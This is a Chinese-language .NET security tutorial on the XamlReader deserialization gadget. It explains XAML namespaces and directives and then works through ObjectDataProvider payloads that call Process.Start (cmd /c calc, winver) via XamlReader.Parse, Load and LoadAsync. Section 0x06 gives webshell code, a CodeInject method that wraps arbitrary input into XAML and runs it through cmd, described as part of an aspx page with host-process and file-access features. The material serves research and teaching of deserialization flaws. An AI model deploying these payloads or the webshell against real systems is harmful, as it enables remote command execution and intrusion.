0x01 背景
.NET 反序列化漏洞 XmlSerializer核心 Gadget:XamlReader,封装于 WPF 核心程序集之一 PresentationFramework.dll,处于 System.Windows.Markup 命名空间下,提供了 XamlReader 和 XamlWriter 两个公开类,XamlReader 类提供的底层 Load 方法可解析 XAML 字符流数据实现创建的.NET 对象实例,还提供了上层封装方法 XamlReader.Parse 用于直接解析 XAML 字符串,XmlSerializer 反序列化链路就是基于此方法达成命令执行。既然脱离不了 XAML,那么就跟随笔者初步认识一下 XAML,学习相关的基本知识。
0x02 xaml 入門
WPF 是用于替代 Windows Form 来创建 Windows 客户端的应用程序,和 Web 项目一样遵从前端布局和后端代码实现分离的原则,Web 项目前端通常是 HTML,而 XAML 是用作 WPF 项目前端界面开发,XAML 的全称是 Extensible Application Markup Language 基于通用 XML 语法用于实例化 .NET 对象的标记语言。XAML 文档中的每个元素都映射为.NET 类的一个实例,如根元素<Window>表示 WPF 创建 Window 对象,另外根元素还有<Application>、<Page>、<UserControl>,事实上XAML在编译时也会编成C#类,所以界面对应的.cs 文件内的后台代码内要声明 partial 关键字,从而达到在编译的时候 UI 界面和运行逻辑代码合在一起的状态。如下最基本的 XAML 代码
<Window x:Class="WpfApplication1.MainWindow"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:sys="clr-namespace:System;assembly=mscorlib"
Title="MainWindow" Height="300" Width="300">
<ListBox>
<ListBoxItem>
<sys:String>欢迎关注dotNet安全矩阵</sys:String>
</ListBoxItem>
</ListBox>
</Window>
上述包含 window 元素以及 grid 元素,window 元素代表整個窗口,grid 可以放置所有的控制項。總體結構其實是一個窗體對象內嵌套一個 grid 對象。x:class 代表後端的命名空間和類名,這樣的好處在於將 wpf 里的前端 xaml 和後端實現代碼分開維護,xmlns 全拼是:xml namespace,即 xml 命名空間,xmlns 後面可以跟一個可選映射前綴 x,兩者之間用冒號分割,另外還聲明了兩個 xmlns 名稱空間,如下表

上面列表的网址分别是什么意思呢?这里是 XAML 解析器的硬性约定,http://schemas.microsoft.com/winfx/2006/xaml/presentation 表示引入 WPF 核心程序集 PresentationFramework,例如常见的 System.Windows.Data 命名空间,http://schemas.microsoft.com/winfx/2006/xaml 表示引入另外核心程序集 System.Xaml,例如常用的 Windows.Markup, 反编译后可见 如图

另外还有xmlns:sys="clr-namespace:System;assembly=mscorlib" 表示将 sys 前缀 映射到.NET 基类库System.String名称空间,后续用<sys:String>获取字符串类型,类似若想引入其他.NET 程序集支持的基类,参考如下语法 xmlns:Prefix="clr-namespace:Namespace;assembly=AssemblyName",例如反序列化攻击载荷常用的Diagnostics.Process类所在的程序集:xmlns:c="clr-namespace:System.Diagnostics;assembly=system"

0x03 x:指令
笔者创建的项目名ObjectDataProvider有一定迷惑性,这里说明下和反序列化用到的 ObjectDataProvider 类毫无关联,下表是常见的几种 x: 空间指令含义

x:Class 前面已说过不再赘述,而 x:Key 表示检索资源文件中所需元素的键名,x:Type 表示 CLR 提供的数据类型,在 XAML 里可以认为是引用某个命名空间下的类,x:Static 引用后端类里定义的静态字段,x:Code 可在 XAML 里执行 C#代码弹出计算器,例如在窗体Loaded事件指定触发的方法名为: Window_Loaded
<x:Code>
<![CDATA[
private void Window_Loaded(object sender, RoutedEventArgs e)
{
System.Diagnostics.Process.Start("calc");
}
]]>
</x:Code>
借用下图笔者把很多概念都画到了图里面,希望帮助读者有更加直观的了解,下图中 x:Type 简单的理解就是在 XAML 中想使用某种数据类型时就得用它,比如从自定义的命名空间xmlns:process里调用Process类,另外 xmlns:local="clr-namespace:ObjectDataProvider" 将本地项目空间名ObjectDataProvider 映射到前缀 xmlns:local

上图中 x:Type 简单的理解就是在 XAML 中想使用某种数据类型时就得用它,比如从自定义的命名空间xmlns:process里调用Process类,另外 xmlns:local="clr-namespace:ObjectDataProvider" 将本地项目空间名ObjectDataProvider 映射到前缀 xmlns:local
0x04 簡化載荷
在第 12 課里已經詳細的居間過資源字典(resourcedictionary)功能上以鍵值對的形式存儲資源,並且可存儲任意類型的對象。默認窗口設計器會創建 window.resources 標籤,筆者添加兩個資源項,一個是 string 類型、一個是 double 類型,最後以靜態方式讀取資源綁定到 textblock 控制項

當資源太多需要集中存儲時就用到 resourcedictionary,可以單獨將各個資源保存在每個文件中,用 resourcedictionary.mergedictionaries 合併到一起使用
<ResourceDictionary>
<ResourceDictionary.MergedDictionaries>
<ResourceDictionary Source="Dic1.xaml"/>
<ResourceDictionary Source="Dic2.xaml"/>
</ResourceDictionary.MergedDictionaries>
</ResourceDictionary>
如果在頂層容器里沒有找到 window.resources,程式還會繼續上升到 application.resources 去尋找資源,所以我們把惡意代碼引入到 application.resources 也可以被調用運行。結合 xmlserialize 反序列化給出的 payload 看一下 xaml,是不是感覺容易多了?
<![CDATA[
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:b="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>]]>
clr-namespace:System.Diagnostics 程序集是必须的,需要靠它调用 Process 类启动新进程。但还可以进一步简化,clr-namespace:System 因为不是必须的所以对应的名称空间 xmlns:b 可以不用,MethodParameters 也就无需再使用<b:String>元素,另外<ResourceDictionary>也可以用<Window.Resources> 或者 <Application.Resources> 、<Grid>控件去替代,代码如下
<Grid xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<Grid.Resources>
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>calc</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</Grid.Resources>
</Grid>
0x05 攻擊面
XamlReader.Parse
ysoserial 在 xmlserializer 反序列化鏈中使用 xamlreader.parse 解析 xaml 字符串並返回新對象, 轉到定義可見有 2 個方法重載,官方文檔有如下註明
Reads the XAML input in the specified text string and returns an object that corresponds to the root of the specified markup.

笔者创建测试用例存储于 Dictionary2.xaml 如下代码,ObjectType="{x:Type TypeName=local:Process } 可省略 TypeName,另外资源检索键名 ResourceKey 也可以省略,Source={StaticResource ResourceKey=obj}
<Window
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
mc:Ignorable="d"
xmlns:local ="clr-namespace:System.Diagnostics;assembly=System"
Title="MainWindow" Height="450" Width="800">
<Window.Resources>
<ObjectDataProvider x:Key="obj" ObjectType="{x:Type local:Process }" MethodName="Start">
<ObjectDataProvider.MethodParameters>"winver"</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</Window.Resources>
<Grid DataContext="{Binding Source={StaticResource obj}}">
<Button Content="Button" HorizontalAlignment="Left" Margin="300.085,187.924,0,0" VerticalAlignment="Top" Width="139.599" Height="45.517"/>
</Grid>
</Window>
string xml = File.ReadAllText("../../Dictionary2.xaml");
XamlReader.Parse(xml);
上述代碼運行後跟蹤調用棧,發現調用了多個 load 方法,注意到調用了 wpfxamlloader 類的 load 方法,發現是一個內部實現的類,不能直接在外部所用,只能通過 xamlreader.loader 方法去實現調用

XamlReader.LoadAsync
xamlreader 類提供了 3 種 load 重載,另外還提供了 loadasync 異步方法,用於在大文件數據傳輸不影響程式主線程,可直接載入流轉換為對象
//Test:Load
string xml = File.ReadAllText("../../Dictionary2.xaml");
MemoryStream ms = new MemoryStream(System.Text.Encoding.Default.GetBytes(xml));
XamlReader.Load(ms);
//Test:LoadAsync
MemoryStream ms0 = new MemoryStream(System.Text.Encoding.Default.GetBytes(xml));
XamlReader xamlReader = new XamlReader();
xamlReader.LoadAsync(ms0);

0x06 WebShell
为了增强程序的可操作性,笔者改用 aspx 页面编写风险检查智能助手,同时设计了主机进程、主机信息采集、主机目录文件访问等功能,内部采用 Base64 编码和解码的解析方式运行,这样的好处在于对 URL 特殊字符串的处置,启动Process类调用cmd.exe/c winver.exe 执行命令,核心代码和页面用户体验界面如下程序
public static void CodeInject(string input)
{
string ExecCode = EncodeBase64("utf-8", input);
StringBuilder strXMAL = new StringBuilder("<ResourceDictionary ");
strXMAL.Append("xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" ");
strXMAL.Append("xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" ");
strXMAL.Append("xmlns:b=\"clr-namespace:System;assembly=mscorlib\" ");
strXMAL.Append("xmlns:pro =\"clr-namespace:System.Diagnostics;assembly=System\">");
strXMAL.Append("<ObjectDataProvider x:Key=\"obj\" ObjectType=\"{x:Type pro:Process}\" MethodName=\"Start\">");
strXMAL.Append("<ObjectDataProvider.MethodParameters>");
strXMAL.Append("<b:String>cmd</b:String>");
strXMAL.Append("<b:String>/c "+ DecodeBase64("utf-8",ExecCode) +"</b:String>");
strXMAL.Append("</ObjectDataProvider.MethodParameters>");
strXMAL.Append("</ObjectDataProvider>");
strXMAL.Append("</ResourceDictionary>");
XamlReader.Parse(strXMAL.ToString());
}

0x07 結語
有關 xamlreader 類多個命令執行的方法希望未來不會被惡意濫用,好啦本文就居間到此,文章涉及的 pdf 和 demo 已打包發布在星球,歡迎對.net 安全關注和關心的同學加入我們,在這裡能遇到有情有義的小夥伴,大家聚在一起做一件有意義的事。